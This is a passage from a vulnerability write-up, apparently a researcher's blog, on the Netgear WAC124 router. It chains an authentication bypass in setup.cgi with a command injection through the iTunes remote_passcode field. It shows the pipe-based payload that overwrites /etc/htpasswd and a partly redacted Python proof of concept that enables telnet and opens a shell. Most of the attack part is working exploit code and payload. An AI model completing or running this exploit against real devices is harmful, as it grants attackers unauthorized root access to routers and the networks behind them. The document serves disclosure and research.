//NOTE: set nvram "dbg_cpu_mirror=1" to let cpu-port mirror to lan0
var telnet_status = "@dbg_telnet_stat#";
var wan_mirror_status = "@dbg_wan_mirror_stat#";
var dbg_store_location = "@dbg_storage_location#";
var dbg_wifi_band = "@dbg_wifi_band#";
var dbg_button_status = "@dbg_button_status#";
var dbg_ipv6_ping_status = "@dbg_ipv6_ping_status#";
...
<div id="other">
<table width="100%" border="0" cellpadding="0" cellspacing="2">
<tr><td colspan="4"><input type="checkbox" name="enable_telnet" id="enable_telnet" onClick="return dbg_configure('telnet')"><b languageCode="">Enable Telnet</b></td></tr>
<tr><td colspan="4"><input type="checkbox" name="wan_lan_mirror" id="wan_lan_mirror" onClick="return dbg_configure('wan_mirror')"><b languageCode="">WAN Port mirror to LAN port1</b></td></tr>
<tr><td colspan="4"><input type="checkbox" name="ipv6_ping_enable" id="ipv6_ping_enable" onClick="return dbg_configure('ipv6_ping')"><b languageCode="">Allow external IPv6 hosts ping internal IPv6 hosts</b></td></tr>
</table>
</div>
<!--<input type="hidden" name="todo" value="changelanguage">-->
<input type="hidden" name="this_file" value="debug.htm">
<input type="hidden" name="next_file" value="debug.htm">
<input type="hidden" name="SID" value="@SID#">
<input type="hidden" name="h_language" value="@h_language#">
</form>
<script language="javascript" type="text/javascript" src="langs.js"></script>
</body>
</html>
* Closing connection 0
We now have a working authentication bypass, and we can now easily turn on the Telnet console to get access into the shell. But we still have some remaining problems; we don't have the administrator's credentials.
Although we have the arbitrary file read, we will not talk about it since it requires some preconditions to leak the credentials.
Again, looking back at the setup.cgi
code, I found something called the COMMAND
function, and this function seems to work like a typical system()
function, but with a format string support.
**************************************************************
* THUNK FUNCTION *
**************************************************************
thunk undefined COMMAND()
Thunked-Function: <EXTERNAL>::COMMAND
assume t9 = 0x4a0e10
undefined v0:1 <RETURN>
<EXTERNAL>::COMMAND XREF[210]: Entry Point(*),
vuln_func1:00409ad8(c),
vuln_func1:00409b2c(c),
vuln_func1:00409be0(c),
FUN_0040b9ec:0040bb88(c),
FUN_0040ca70:0040cf98(c),
FUN_0040ca70:0040d04c(c),
FUN_0040ca70:0040d07c(c),
FUN_0040d808:0040d8cc(c),
FUN_0040d808:0040d8e4(c),
FUN_004138f8:00413930(c),
FUN_00413998:004139cc(c),
FUN_00413a50:00414c5c(c),
FUN_00415f94:00415fa4(j),
FUN_00450968:00450a88(c),
FUN_00450968:00450aa0(c),
FUN_0046a880:0046a990(c),
FUN_004858dc:004859e0(c),
FUN_004858dc:004859f8(c),
del_folder:00495aa8(c), [more]
004a0e10 10 80 99 8f lw t9,-0x7ff0(gp)=>__DT_PLTGOT = 00000000
assume t9 = <UNKNOWN>
004a0e14 21 78 e0 03 move t7,ra
004a0e18 09 f8 20 03 jalr t9
004a0e1c 9c 01 18 24 _li t8,0x19c
While looking at its XREF functions, I saw a function where you can set up a password for the iTunes Server. The function writes password to /tmp/itunes/apple.remote
when remote_passcode
is a valid name.
// 004d99d0 44 dc 4a 00 addr s_iserver_allow_ctrl_004adc44 = "iserver_allow_ctrl"
// 004d99d4 d4 87 40 00 addr FUN_004087d4
undefined4 FUN_004087d4(undefined4 param_1)
{
undefined4 uVar1;
int iVar2;
char *pcVar3;
uVar1 = find_val(param_1,"remote_passcode");
iVar2 = test_command_inject(uVar1);
if (iVar2 == 0) {
uVar1 = find_val(param_1,"this_file");
alert("Invalid passcode value!",uVar1);
uVar1 = 0xffffffff;
}
else {
uVar1 = find_val(param_1,"remote_passcode");
nvram_set("remote_passcode",uVar1);
nvram_commit();
pcVar3 = (char *)nvram_get("remote_passcode");
if (pcVar3 == (char *)0x0) {
pcVar3 = "";
}
if (*pcVar3 != '\0') {
COMMAND("/bin/echo dummy > /tmp/itunes/apple.remote");
COMMAND("/bin/echo %s >> /tmp/itunes/apple.remote",pcVar3);
}
sleep(2);
uVar1 = find_val(param_1,"this_file");
html_parser(uVar1,param_1,key_fun_tab);
uVar1 = 0;
}
return uVar1;
}
However, we see a check function called test_command_inject
before the COMMAND
function is actually being executed. Let's have a look at the test_command_inject
function.
undefined4 test_command_inject(char *param_1)
{
char *pcVar1;
FILE *__stream;
pcVar1 = strstr(param_1,"/bin");
if (((pcVar1 == (char *)0x0) && (pcVar1 = strstr(param_1,"/sbin"), pcVar1 == (char *)0x0)) &&
(pcVar1 = strchr(param_1,0x60), pcVar1 == (char *)0x0)) {
return 1;
}
__stream = fopen("/dev/console","a+");
if (__stream != (FILE *)0x0) {
fprintf(__stream,"[%s::%s():%d] ","other.c","test_command_inject",0xa2e);
fprintf(__stream,"Possible COMMAND injection detected:\"%s\"!\n",param_1);
fclose(__stream);
}
return 0;
}
We see that /bin
, /sbin
, `
, 0x00
are blocked. Fortunately, we don't have the vertical bar(|
) being blocked by the check function.
Since the command is /bin/echo [input] >> /tmp/itunes/apple.remote
, We can put something like admin:styexp>/etc/htpasswd|
, which eventually becomes
/bin/echo admin:styprexp>/etc/htpasswd|>>/tmp/itunes/apple.remote
on the actual execution.
With this way, we can overwrite /etc/htpasswd
with the command injection vulnerability. There is no need to leak any credentials as we can directly run system commands from this function.
There is no precondition required to run this exploit. Any attacker who has access to www.routerlogin.com
can exploit and get the system shell from the server.
To prevent people from running the exploit all over the internet, I decided to remove some of its codes for now. However, it shouldn't be too difficult for you to make this snippet to work.
#!/usr/bin/python -u
# -*- coding: utf-8 -*-
"""
Title: Netgear WAC124 pre-auth exploit by stypr @ Flatt Security Inc.
Developer: stypr @ Flatt Security Inc.
Website: https://harold.kim/, https://flatt.tech/
Date: 2021-07-07
This exploit contains two vulnerabilities.
- Authentication Bypass
- This will gain privileges for admin
- Also, it will trigger
- Command Injection
- Since we have the admin privilege, we can now have more features available.
- Some of codes are vulnerable to command injection, in which we can overwrite admin password.
- There are filters available, but currently it is possible to bypass filters.
"""
...
# Real functions start here
def check_vulnerable():
"""
Check if the server is vulnerable.
"""
debug_htm = "CHANGEME"
resp = send_get_request(path="/setup.cgi?next_file=" + debug_htm)
resp = resp.decode()
if "Enable Telnet" in resp:
print("[.] It seems to be exploitable!")
return True
return False
def trigger_telnet_on():
"""
Trigger telnet on by authentication bypass
"""
todo = "CHANGEME"
debug_htm = "CHANGEME"
# Note: todo is bypassed
resp = send_get_request(
path="/setup.cgi?" + todo + "=dbg_configure&telnet=1&this_file=" + debug_htm + "&next_file=" + debug_htm,
)
resp = resp.decode()
if "Enable Telnet" in resp:
return True
return False
def command_injection():
"""
Trigger command injection to overwrite /etc/htpasswd
"""
todo = "CHANGEME"
usb_media = "CHANGEME"
remote_passcode = "admin:styexp%3E/etc/htpasswd|"
# Note: todo is bypassed
resp = send_get_request(
path="/setup.cgi?" + todo + "=iserver_allow_ctrl&remote_passcode=" + remote_passcode + "&this_file=" + usb_media
)
resp = resp.decode()
if "itunes_server_enable" in resp:
return True
return False
def trigger_shell(username, password):
"""
Triggering shell
"""
with Telnet(HOST, 23) as session:
session.read_until(b"login: ")
session.write(username.encode() + b"\n")
session.write(password.encode() + b"\n")
session.interact()
if __name__ == "__main__":
print("[*] Checking if the bug is exploitable...")
result = check_vulnerable()
if not result:
print("[-] Maybe it is not exploitable......")
sys.exit(-1)
print("[*] Enabling telnet...")
result = trigger_telnet_on()
if not result:
print("[-] Failed to trigger telnet on.. Maybe it's fixed.")
sys.exit(-1)
print("[*] Overwriting /etc/htpasswd...")
result = command_injection()
if not result:
print("[-] Failed to overwrite /etc/htpasswd")
sys.exit(-1)
print("[*] Triggering shell...")
trigger_shell("admin", "styexp")
The demonstration video includes the actual working exploit of the PoC code described above. The exploit will bypass the authentication, perform a command injection to overwrite the credentials and spawn a shell while being an unauthorized user.
Click the image to see the video